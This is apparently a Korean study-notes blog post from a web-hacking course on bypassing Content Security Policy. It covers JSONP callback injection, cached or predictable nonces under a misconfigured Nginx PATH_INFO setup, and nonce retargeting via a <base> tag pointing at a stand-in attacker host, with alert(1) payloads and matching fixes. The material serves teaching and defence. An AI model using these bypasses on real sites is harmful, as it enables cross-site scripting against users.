드림핵 - WHA(Client Side)

CSP Bypass

김가윤 2023. 4. 13. 21:09

1. 서론

 

CSP는

XSS방어하기 위한

훌륭한 방어책이다.

 

하지만

올바르게 설정하지 않으면

이를 우회할 수 있는 방법들이 존재한다.


2. CSP 우회

 

2-1 신뢰하는 도메인 업로드

 

만약 해당 출처가

파일 업로드 및 다운로드 기능을 제공한다면,

공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤

다운로드 경로로 웹 페이지에

자원을 포함시킬 수 있다.

 

Figure 1. 외부 자원 업로드 예시

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
...
<h1>검색 결과: <script src="/download_file.php?id=177742"></script></h1>

2-2 JSONP API

 

만약 CSP에서 허용한 출처가

JSONP API를 지원한다면, 

 

callback 파라미터에

원하는 스크립트를 삽입하여

공격이 가능하다.

 

예를 들어,

*.google.com에서 온 출처만 허용한다고 가정하면

구글에서 JSONP API를 지원하느 서버를 찾아

callback에 원하는 스크립트를 삽입할 수 있다.

 

Figure 2. JSONP API의 예 - Google Accounts 서비스

https://accounts.google.com/o/oauth2/revoke?callback=alert(1);

 

JSONP API를 제공하는 서비스는

콜백 이름에 식별자를 제외한 문자를 거부함으로써

추가적으로 방어할 수 있다.

 

그러나 JSONP API보다는

CORS를 지원하는 API를 사용하는 것이 좋다.

<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
<!-- JSONP API 결과:
// API callback
alert(1);({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);
-->

2-3 nonce 예측 가능

 

CSP의 nonce를 이용하면

따로 도메인이나 해시 등을 지정하지 않아도

공격자가 예측할 수 없는 nonce 값이

태그 속성에 존재할 것을 요구함으로써

XSS 공격을 방어할 수 있다.

 

nonce값은

공격자가 에측할 수 없는 값이어야 한다.

 

nonce를 사용할 때에는

nonce 값을 담고있는

HTTP 헤더 또는 meta 태그가

캐싱되지 않는지 주의해야 한다.

 

PHP나 CGI 계열 스크립팅을 사용할 때에는

스크립트들이 index.php/style.css 처럼

뒤에 추가적인 경로를 붙여

접근될 수 있기 때문에

특히 주의해야 한다.

 

만약 캐시 서버가

확장자를 기반으로 캐시 여부를 판단한다면

.css는 정적 파일이므로

동적 콘텐츠로 판단하지 않아

캐시에 저장할 수 있다.

 

이 경우에

캐시가 만료될 때까지 요청시마다

같은 nonce가 돌아오기 때문에

공격자는 이를 바탕으로

nonce를 획득할 수 있다.

 

nonce 값은 보안 상

안전한 의사 난수 생성기(CSPRNG)를

사용하는 것이 좋다.

 

Figure 4. Nginx와 php-fpm의 예시

location ~ \.php {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}

 

Figure 5. fastcgi-php.config의 내용 일부

# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;

 

이와 같은 Nginx의 설정을 갖고 있을 때

/dom_xss_vulnerable.php/style.css의 주소로 접근하면

dom_xss_vulnerable 파일이 실행되어

nonce가 <meta http-equiv="Content-Security-Policy" contents="...nonce...">

태그로 출력된다.

 

CDN은 보통

CSS 또는 스크립트

정적 파일캐싱하기 때문에

 

meta 태그로 출력된 

nonce 또한 같이 캐싱된다.

 

따라서 DOM XSS에 취약한 페이지의

nonce 값이 고정되어 공격자는

아래와 같은 마크업을 이용할 수 있다.

<script nonce="{고정된 nonce 값}">alert(1);</script>

 

Figure 5. fastcgi-php.conf의 내용 일부

# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;

 

PATH_INFO 기능을 사용하지 않는 경우

해당 설정은 location ~ \.php$ 처럼 

URL의 끝 부분이 .php일때만

FastCGI로 넘어가게 수정되어야 한다.

 

또한

URL에 /a/b.php/c/d.php와 같이

.php가 중복 사용될 때를 대비하여

fastcgi-php.conf 스니펫을 사용하지 않고

다음과 같이 변경되어야 한다.

 

Figure 6. php 중복 방지 예시

location ~ \.php$ {
    try_files $uri =404;
    fastcgi_index index.php;
    include fastcgi.conf;
    fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}

2-4 base uri 미지정

 

HTML 하이퍼링크에서

호스트 주소 없이 경로를 지정하면

브라우저는 현재 문서를 기준으로

주소를 해석한다.

 

HTML <base> 태그는

경로가 해석되는 기준점을

변경할 수 있도록 하며,

 

<a>, <form> 등의

target 속성의 기본 값을 지정하도록 한다.

 

만일

<base href="https://malice.test/xss-proxy/">와 같은

마크업을 삽입하게 된다면,

추후 상대 경로를 사용하는 URL들은

공격자의 서버에 자원을 가리키게 되어

공격자는 이를 통해

임의의 스크립트 등을 삽입할 수 있다.

 

Figure 7. base 태그의 URL 제한

Content-Security-Policy: base-uri 'none'

 

만약 페이지에

임의 마크업을 삽입할 수 있는 취약점이 있지만,

nonce CSP구문으로 인해

스크립트를 삽입할 수 없다고 가정합니다.

 

이 때,

base-url CSP 구문을 지정하지 않은 경우

base 태그를 이용하여

임의 자원을 로드할 수 있다.

Nonce retargeting이라고 부름

 

Figure 8. base태그를 이용한 임의 자원 업로드

<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE> 
<!-- jquery.js는 base 태그에 의해 https://malice.test/jquery.js를 가리킵니다. -->

 

base-uri 지시문을 임의로 지정하지 않은 이상

default 초기 값이 존재하지 않는다.

 

따라서 웹 서비스를 개발할 때에는

반드시 base-uri 지시문을 정의해주어야 한다.

 

 

'드림핵 - WHA(Client Side)' 카테고리의 다른 글

CORS Vulnerability  (0) 2023.04.17
CSRF Token 오용  (0) 2023.04.17
Content Security Policy  (0) 2023.04.13
XSS Filtering Bypass - II  (0) 2023.03.27
XSS Filtering Bypass - I  (0) 2023.03.27